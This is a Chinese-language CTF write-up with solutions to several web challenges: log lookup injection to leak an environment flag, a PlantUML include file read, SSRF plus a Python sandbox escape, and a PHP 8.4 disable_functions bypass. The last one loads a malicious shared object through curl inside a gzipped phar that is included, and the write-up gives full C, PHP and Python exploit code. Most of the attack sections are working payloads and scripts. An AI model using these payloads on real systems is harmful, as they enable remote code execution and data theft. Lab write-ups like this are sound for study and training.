chatrobot
先看下源码
app.py
在处理输入的时候会直接把可控的cmd拼接到java_command中
def chat(cmd, text):
env = os.environ.copy()
env['FLAG'] = env['INSERT_FLAG']
java_command = [
'java',
'-Xms48M',
'-Xmx96M',
f'-Dcmd={cmd}', #<---
'-jar',
JAVA_JAR_PATH,
text
]题目给的两个路由的处理逻辑不一样,/路由会返回日志和正常输出,/chat只会返回正常输出
@app.route("/", methods=['GET', 'POST'])
def start():
if request.method == 'POST':
text_input = request.form.get('text', '').strip()
if not text_input:
return ('invalid message', 400)
parts = text_input.split(' ', 1)
cmd = parts[0]
text = parts[1] if len(parts) > 1 else ''
result = chat(cmd, text)
return result.get('stdout', '') + result.get('stderr', '') #<---
return render_template('index.html')
@app.route("/chat", methods=['GET'])
def handle_chat_api():
cmd = request.args.get('cmd', '').strip()
arg = request.args.get('arg', '').strip()
if not cmd:
return ('invalid command', 400)
result = chat(cmd, arg)
out = result.get('stdout', '').strip()
err = result.get('stderr', '').strip()
return out #<---再看java
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>在日志里面${sys:cmd}会执行传入的cmd命令,然后通过/路由读取日志,达成rce
payload
POST:text=${env:FLAG}notebook
题里说了plantuml,是打CVE-2023-3432
在网上找的payload
@startuml
!include http://127.0.0.1/flag.txt
Alice -> Bob: Message
@endumlcheck_in
ssrf+pyjail
ssfr
路由/__internal/safe_eval需要从本地访问,打ssrf
/fetch检测传入url的开头,用@绕过
然后对传入参数部分检查,不能连续三个黑名单中的字符,这里没过滤百分号,用二次url编码绕过
GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)
def check_hostname(url):
# must starts with vnctf.
if not url.startswith('http://vnctf.'):
return False
hostname = urlparse(url).hostname
query = urlparse(url).query
# must only contain two of the restricted characters
if general_waf(query):
return False
# must not be an ip address, so no 127.0.0.1 or ::1
try:
ipaddress.ip_address(hostname)
return False
except ValueError:
pass
return urlPyjail
爱来自typhon
本地没有3.10的环境又现下的
def Ty_RCE(cmd):
import typhon
typhon.bypassRCE(cmd=cmd,
banned_chr=['\\x', '+', 'join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9'],
local_scope={'__builtins__': None, 'lit': list, 'dic': dict},
max_length= 248)
Ty_RCE("env")typhon跑出来一个能打通但是没回显的payload,直接用这个输出的是0
lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(__import__=1)).__getitem__(0))(lit(dic(os=1)).__getitem__(0)).system(lit(dic(env=1)).__getitem__(0))手动改改才能执行命令,但是不能有空格,没法直接读flag,读一下目录还可以
lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(__import__=1)).__getitem__(0))(lit(dic(os=1)).__getitem__(0)).popen(lit(dic(ls=1)).__getitem__(0)).read()改成open(‘flag’)读flag
lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(open=1)).__getitem__(0))(lit(dic(flag=1)).__getitem__(0)).read()法尔plus
给了phpinfo,8.4的,看到还有open_basedir和disable_function
题目里面常规的函数都给ban了,一般的rce根本用不了,最近刚好看到过,可以用curl加载动态链接或者sqlite加载来绕过
题目正好是php8.4,curl还没被修,disable_function里面也没禁curl的方法
恶意文件:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor)) void pwn() {
system("ls -al / > /var/www/html/Pr0.txt");
system("cat /flag >> /var/www/html/Pr0.txt");
}gcc -shared -fPIC exp.c -o exp.so要想get shell就需要加载so文件
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/var/www/html/exp.so");
$data = curl_exec($ch);接下来的问题是怎么加载这个so文件
题目中给了file_put_contents和include
在file_put_contents中直接把写入的文件保存为了phar文件,很明显打phar
class aaa {
public $mode;
public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
echo $data;
$filename = "/var/www/html/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "yesyesyes";
}
else{
echo "You can look at the others";
}
}
}
}问题来了,phar该怎么实现rce呢
刚好,还有一个文章https://xz.aliyun.com/news/18584
include在对一个压缩后phar文件进行包含的时候,会自动解压并且能够执行里面的命令
于是我们就能够写入任意的文件内容,并且加载我们传入的so文件从而实现rce
payload
//创建压缩文件
<?php
$so_content = file_get_contents("exp.so");
$so_base64 = base64_encode($so_content);//把恶意so文件变成base64的形式写入phar文件
class aaa {
public $mode;
}
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//身份证(
$code = '\<?php
$b64 = "' . $so_base64 . '";
$so = base64_decode($b64);
file_put_contents("/var/www/html/exp.so", $so);
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE, "/var/www/html/exp.so");
curl_exec($ch);
?>';//对传入的so文件的base64解码并写入,然后加载这个so文件
$phar->addFromString("shell.txt", $code);
$phar->setMetadata(new aaa());
$phar->stopBuffering();
$data = file_get_contents("exploit.phar");
$gz_data = gzencode($data);
file_put_contents("exploit.phar.gz", $gz_data);//压缩绕waf
?>传入并包含
import requests
import re
url = "http://challenge.ilovectf.cn:30282/1.php"
#以二进制的形式传入压缩包
step1_serialize = 'O:3:"aaa":1:{s:4:"mode";s:1:"w";}'
with open("C:\\Users\\27190\\Desktop\\tmp\\exploit.phar.gz", "rb") as f:
phar_content = f.read()
resp1 = requests.post(url, data={"0": phar_content,"1": step1_serialize})
#获取文件名
match = re.search(r'/var/www/html/[a-f0-9]+\.phar', resp1.text)
filename = match.group(0)
#读取
step2_serialize = 'O:3:"aaa":1:{s:4:"mode";s:1:"r";}'
payload_path = f"phar://{filename}/shell.txt"
resp2 = requests.post(url, data={
"0": payload_path,
"1": step2_serialize
})
print(resp2.text)